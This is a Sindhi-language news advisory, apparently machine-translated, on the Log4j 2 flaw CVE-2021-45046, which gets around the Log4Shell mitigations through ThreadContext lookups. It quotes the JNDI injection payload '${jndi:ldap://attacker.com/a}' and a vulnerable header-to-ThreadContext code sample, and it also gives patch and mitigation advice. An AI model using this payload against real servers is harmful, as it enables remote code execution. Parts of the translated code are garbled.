Log4j 2 تي هڪ نئون حملو جيڪو توهان کي اضافي تحفظ کي نظرانداز ڪرڻ جي اجازت ڏئي ٿو

Log4j 2 لائبريري (CVE-2021-45046) ۾ JNDI متبادل جي عمل درآمد ۾ هڪ ٻي خطري جي نشاندهي ڪئي وئي آهي، جيڪا رليز 2.15 ۾ شامل ڪيل اصلاحن جي باوجود ٿيندي آهي ۽ تحفظ لاءِ "log4j2.noFormatMsgLookup" سيٽنگ جي استعمال کان سواءِ. مسئلو خاص طور تي Log4j 2 جي پراڻن ورزن لاءِ خطرناڪ آهي، "noFormatMsgLookup" پرچم استعمال ڪندي محفوظ ڪيو ويو آهي، ڇاڪاڻ ته اهو ممڪن بڻائي ٿو ته اڳئين خطري (Log4Shell, CVE-2021-44228) جي خلاف تحفظ کي نظرانداز ڪري، جيڪو توهان کي توهان جي ڪوڊ تي عمل ڪرڻ جي اجازت ڏئي ٿو. سرور ورزن 2.15 جي استعمال ڪندڙن لاءِ، استحصال محدود آهي ايپليڪيشن لاءِ حالتون پيدا ڪرڻ لاءِ موجود وسيلن جي کوٽ سبب ڪري تباهه ٿيڻ.

نقصان صرف انهن سسٽمن تي ٿئي ٿو جيڪي لاگنگ لاءِ Context Lookups جهڙوڪ ${ctx:loginId} يا Thread Context Maps جهڙوڪ %X، %mdc، ۽ %MDC استعمال ڪن ٿا. آپريشن ھيٺ اچي ٿو ڊيٽا کي ٻاھر ڪڍڻ لاءِ حالتون ٺاھڻ لاءِ جنھن ۾ لاگ ۾ JNDI متبادل شامل آھن جڏھن ايپليڪيشن ۾ لاڳاپيل سوالن يا MDC ٽيمپليٽس کي استعمال ڪندي جيڪي لاگ ۾ آئوٽ پٽ کي فارميٽ ڪرڻ جا قاعدا بيان ڪن ٿا.

LunaSec جي محققن نوٽ ڪيو ته Log4j جي نسخن لاءِ 2.15 کان گهٽ، هي ڪمزوري استعمال ڪري سگهجي ٿي نئين ویکٹر جي طور تي Log4Shell حملي لاءِ جيڪو ڪوڊ جي عمل جي طرف وٺي ٿو جيڪڏهن ThreadContext ايڪسپريشن استعمال ڪيا وڃن جڏهن لاگ کي آئوٽ ڪيو وڃي، جنهن ۾ خارجي ڊيٽا داخل ٿئي ٿي، قطع نظر جھنڊو " noMsgFormatLookups" يا ٽيمپليٽ "%m{nolookups}" جي حفاظت لاءِ شامل ڪرڻ.

Log4j 2 تي هڪ نئون حملو جيڪو توهان کي اضافي تحفظ کي نظرانداز ڪرڻ جي اجازت ڏئي ٿو

تحفظ وارو پاسو ان حقيقت تي اچي ٿو ته سڌو متبادل "${jndi:ldap://attacker.com/a}" جي بدران، هي اظهار هڪ وچولي متغير جي قدر ذريعي استعمال ڪيو ويو آهي جيڪو فارميٽنگ جي پيداوار جي ضابطن ۾ استعمال ڪيو ويو آهي. لاگ مثال طور، جيڪڏهن لاڳاپي جو سوال ${ctx:apiversion} استعمال ڪيو ويندو آهي جڏهن لاگ کي آئوٽ ڪيو ويندو آهي، ته پوءِ حملو ڪري سگهجي ٿو ڊيٽا کي متبادل ڪري "${jndi:ldap://attacker.com/a}" قدر apiversion variable ڏانهن لکيل آهي. ڪمزور ڪوڊ مثال: appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n @ GetMapping("/") عوامي اسٽرنگ انڊيڪس(@RequestHeader("X-Api-Version") String apiVersion) {// The "X-Api-Version" HTTP هيڊر ويليو ThreadContext ThreadContext.put("apiversion" ڏانهن منتقل ڪيو ويو آهي. , apiVersion)؛ // لاگ ۾ ٻاھر ڪڍڻ مھل، apiversion جي خارجي قدر تي عمل ڪيو ويندو متبادل ${ctx:apiversion} logger.info("اي پي آئي ورزن لاءِ درخواست مليل")؛ واپسي "هيلو، دنيا!"؛ }

Log4j 2.15 ۾، ڪمزوريءَ کي استعمال ڪري سگهجي ٿو DoS حملن کي انجام ڏيڻ لاءِ جڏهن قدرن کي ThreadContext ڏانهن منتقل ڪيو وڃي ته جيئن آئوٽ پٽ فارميٽنگ جو نمونو لوپ ڪري.

Log4j 2 تي هڪ نئون حملو جيڪو توهان کي اضافي تحفظ کي نظرانداز ڪرڻ جي اجازت ڏئي ٿو

اپڊيٽ 2.16 ۽ 2.12.2 شايع ڪيا ويا آهن نقصان کي روڪڻ لاءِ. Log4j 2.16 برانچ ۾، ورزن 2.15 ۾ لاڳو ڪيل سڌارن ۽ JNDI LDAP سوالن کي "localhost" تي پابند ڪرڻ کان علاوه، JNDI ڪارڪردگي مڪمل طور تي ڊفالٽ طور بند ٿيل آهي ۽ پيغام جي متبادل نمونن لاءِ سپورٽ ختم ڪئي وئي آهي. حفاظتي ڪم جي طور تي، اهو تجويز ڪيو ويو آهي ته JndiLookup ڪلاس کي ڪلاس پاٿ مان هٽايو وڃي (مثال طور، "zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class") .

توهان تقسيم جي صفحن تي پيڪيجز ۾ فيڪس جي ظاهر کي ٽريڪ ڪري سگهو ٿا (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) ۽ جاوا پليٽ فارم ٺاهيندڙن (GitHub, Docker, Oracle, vmWare, Broadcom and Amazon / AWS, Juniper, VMware, Cisco، IBM، Red Hat، MongoDB، Okta، SolarWinds، Symantec، McAfee، SonicWall، FortiGuard، Ubiquiti، F-Secure وغيره).

جو ذريعو: opennet.ru

تبصرو شامل ڪريو